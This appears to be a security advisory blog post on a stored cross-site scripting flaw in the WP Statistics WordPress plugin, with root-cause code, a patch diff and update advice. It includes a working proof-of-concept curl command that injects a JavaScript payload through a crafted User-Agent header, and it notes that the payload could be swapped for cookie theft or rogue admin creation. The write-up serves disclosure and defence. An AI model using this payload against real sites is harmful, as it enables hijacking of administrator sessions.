CVE-2026-48839: WP Statistics Unauthenticated Stored XSS (CVSS 7.2)
Table of Contents
CVE-2026-48839 is a CVSS 7.2 High Severity Unauthenticated Stored Cross-Site Scripting vulnerability in the WP Statistics WordPress plugin. Any visitor can plant a JavaScript payload into the admin panel by sending a single HTTP request with a crafted User-Agent header. The script executes when an administrator views the Devices statistics pages.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | WP Statistics – Simple, privacy-friendly Google Analytics alternative |
| Plugin Slug | wp-statistics |
| CVE ID | CVE-2026-48839 |
| CVSS Score | 7.2 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N |
| Vulnerability Type | Unauthenticated Stored Cross-Site Scripting |
| Affected Versions | <= 14.16.6 |
| Patched Version | 14.16.7 |
| Published | June 1, 2026 |
| Researcher | daroo |
| Wordfence Advisory | Link |
Description
The WP Statistics plugin records data about every site visitor: browser, operating system, device type, and device model. It extracts these values from the HTTP User-Agent header using the DeviceDetector library. In versions up to 14.16.6, two problems existed together.
First, some of DeviceDetector’s generic regex patterns capture user-controlled substrings directly as the browser or app name. For example, the “AFNetworking generic” pattern in mobile_apps.yml uses a broad capture group ([^/;]*) and maps it directly to name: '$1'. This means the library can return raw attacker-supplied content as the browser name.
Second, the admin templates for the Devices statistics pages output browser, platform, and device category names using a plain echo with no HTML escaping function. The unknownToNotSet() helper returns the stored value as-is, and its output is never wrapped in esc_html() or esc_attr().
Because of this, an attacker can inject an HTML attribute breakout payload into a User-Agent header, have it stored in the database, and have it render as executable JavaScript when an administrator views the statistics.
Technical Analysis
Root Cause 1 — Missing Sanitization at Storage Time
UserAgent::getHttpUserAgent() applies sanitize_text_field() to the raw User-Agent header before passing it to DeviceDetector. This function strips HTML tags but does NOT remove ", ', >, or event-handler attribute names. DeviceDetector then processes the sanitized string through its regex patterns.
The “AFNetworking generic” pattern in src/Dependencies/DeviceDetector/regexes/client/mobile_apps.yml uses a broad capture group:
# AFNetworking generic
- regex: '(?!AlohaBrowser)([^/;]*)/(\d+\.[\d.]+) \((?:iPhone|iPad); (?:iOS|iPadOS) [0-9.]+; Scale/[0-9.]+\)'
name: '$1'
([^/;]*) captures everything before the first /, which can include " and event-handler attribute content injected by an attacker.
The UserAgentService methods then return this value without any further sanitization:
// src/Service/Analytics/DeviceDetection/UserAgentService.php (vulnerable version)
public function getBrowser()
{
return $this->deviceDetector ? $this->deviceDetector->getClient('name') : null;
}
This raw value flows to Visitor::record() in includes/class-wp-statistics-visitor.php:
$visitor = [
'agent' => $userAgent->getBrowser(), // line 133 — unsanitized
'platform' => $userAgent->getPlatform(), // line 134 — unsanitized
'device' => $userAgent->getDevice(), // line 136 — unsanitized
'model' => $userAgent->getModel(), // line 137 — unsanitized
];
$wpdb->insert() stores these values in the wp_statistics_visitor table.
Root Cause 2 — Missing Output Escaping in Admin Templates
When an admin views WP Statistics > Devices > Browsers, the plugin renders the stored browser name from the database. In includes/admin/templates/pages/devices/browsers.php, the output has no escaping:
// Vulnerable — no esc_attr() or esc_html()
<span title="<?php echo \WP_STATISTICS\Admin_Template::unknownToNotSet($item->agent); ?>"
class="wps-browser-name">
<img alt="<?php echo \WP_STATISTICS\Admin_Template::unknownToNotSet($item->agent); ?>"
src="<?php echo esc_url(DeviceHelper::getBrowserLogo($item->agent)); ?>"
class="log-tools wps-flag"/>
<?php echo \WP_STATISTICS\Admin_Template::unknownToNotSet($item->agent); ?>
</span>
unknownToNotSet() returns the stored value with no escaping:
public static function unknownToNotSet($value)
{
if (self::isUnknown($value)) {
return __('(not set)', 'wp-statistics');
}
return $value; // returned as-is, no escaping applied
}
The same pattern appears in platforms.php ($item->platform) and categories.php ($item->device).
Execution Path
HTTP request with malicious User-Agent
→ UserAgent::getHttpUserAgent() — sanitize_text_field() (strips tags, not quotes/event attrs)
→ UserAgentService::getBrowser() — DeviceDetector regex returns user-controlled $1
→ Visitor::record() / Visitor::save_visitor() — stored in wp_statistics_visitor.agent
→ Admin loads WP Statistics > Devices > Browsers
→ browsers.php echo unknownToNotSet($item->agent) — rendered without esc_attr()/esc_html()
→ Browser executes injected event handler
Proof of Concept
Disclaimer: This proof of concept is provided for educational purposes only. Test only against systems you own or have explicit written permission to test.
Prerequisites
- Target site has WP Statistics <= 14.16.6 installed and activated
- Default server-side tracking is enabled (the default configuration)
- An administrator will later visit WP Statistics > Devices > Browsers
Step 1 — Inject the Payload
Send a single HTTP request to any page on the target site. The User-Agent header uses the iOS app format to trigger the AFNetworking generic pattern in DeviceDetector. The " after the app name breaks out of the HTML attribute context and injects an onmouseover event handler.
curl -s "https://target-site.com/" \
-H 'User-Agent: XSSBrowser" onmouseover="alert(document.domain)/1.0 (iPhone; iOS 17.0; Scale/3.00)'
WP Statistics records the visitor. The DeviceDetector AFNetworking generic regex captures XSSBrowser" onmouseover="alert(document.domain) as the browser name ($1). This value is stored in the wp_statistics_visitor table.
Step 2 — Trigger the Stored XSS
Log in as an administrator. Navigate to WP Statistics > Devices > Browsers. The admin page renders the stored value without escaping, producing this HTML:
<span title="XSSBrowser" onmouseover="alert(document.domain)" class="wps-browser-name">
<img alt="XSSBrowser" onmouseover="alert(document.domain)"
src="/wp-content/plugins/wp-statistics/assets/images/browser/unknown.png"
class="log-tools wps-flag"/>
XSSBrowser" onmouseover="alert(document.domain)
</span>
Hover over the browser name row. The onmouseover handler fires and alert(document.domain) executes.
Step 3 — Verify
The browser alert dialog displays the admin’s current domain, confirming JavaScript execution in the admin context. A real attacker would replace alert(document.domain) with a cookie-stealing payload or an admin action (e.g., creating a rogue admin account).
Patch Analysis
Version 14.16.7 addresses the vulnerability in two places.
Fix 1 — Input Sanitization in UserAgentService
A new sanitizeDetectorValue() static method was added to src/Service/Analytics/DeviceDetection/UserAgentService.php. All four public methods that return DeviceDetector values now pass their output through this function before returning it:
public function getBrowser()
{
- return $this->deviceDetector ? $this->deviceDetector->getClient('name') : null;
+ return $this->deviceDetector ? self::sanitizeDetectorValue($this->deviceDetector->getClient('name')) : null;
}
The sanitizer strips all HTML tags, then applies a Unicode-aware allowlist that permits only letters, digits, spaces, and common punctuation found in legitimate browser/OS names:
public static function sanitizeDetectorValue($value)
{
if ($value === null || $value === '') {
return $value;
}
$value = wp_strip_all_tags((string) $value);
$value = preg_replace('/[^\p{L}\p{N}\s._\-\/+()&\']/u', '', $value);
$value = trim(preg_replace('/\s+/', ' ', (string) $value));
return $value;
}
The character " is not in the allowlist, so attribute breakout payloads are stripped before storage.
Fix 2 — Output Escaping in Admin Templates
The three admin templates that displayed device data without escaping were updated to use esc_html() and esc_attr():
- <span title="<?php echo \WP_STATISTICS\Admin_Template::unknownToNotSet($item->agent); ?>">
- <img alt="<?php echo \WP_STATISTICS\Admin_Template::unknownToNotSet($item->agent); ?>" .../>
- <?php echo \WP_STATISTICS\Admin_Template::unknownToNotSet($item->agent); ?>
+ <span title="<?php echo esc_attr(\WP_STATISTICS\Admin_Template::unknownToNotSet($item->agent)); ?>">
+ <img alt="<?php echo esc_attr(\WP_STATISTICS\Admin_Template::unknownToNotSet($item->agent)); ?>" .../>
+ <?php echo esc_html(\WP_STATISTICS\Admin_Template::unknownToNotSet($item->agent)); ?>
The same output-escaping fix was applied to platforms.php, categories.php, and views/components/session-details.php.
Together, the two fixes form a defense-in-depth strategy: Fix 1 prevents malicious data from entering the database; Fix 2 prevents any malicious data that does reach the template from being interpreted as HTML.
Timeline
| Date | Event |
|---|---|
| 2026-06-01 | Vulnerability published by Wordfence |
| 2026-06-01 | WP Statistics 14.16.7 released with the fix |
| 2026-06-07 | This blog post published |
Remediation
Update WP Statistics to version 14.16.7 or later.
From your WordPress dashboard: go to Plugins > Installed Plugins, find WP Statistics, and click Update Now. Alternatively, download the patched version directly from wordpress.org/plugins/wp-statistics/.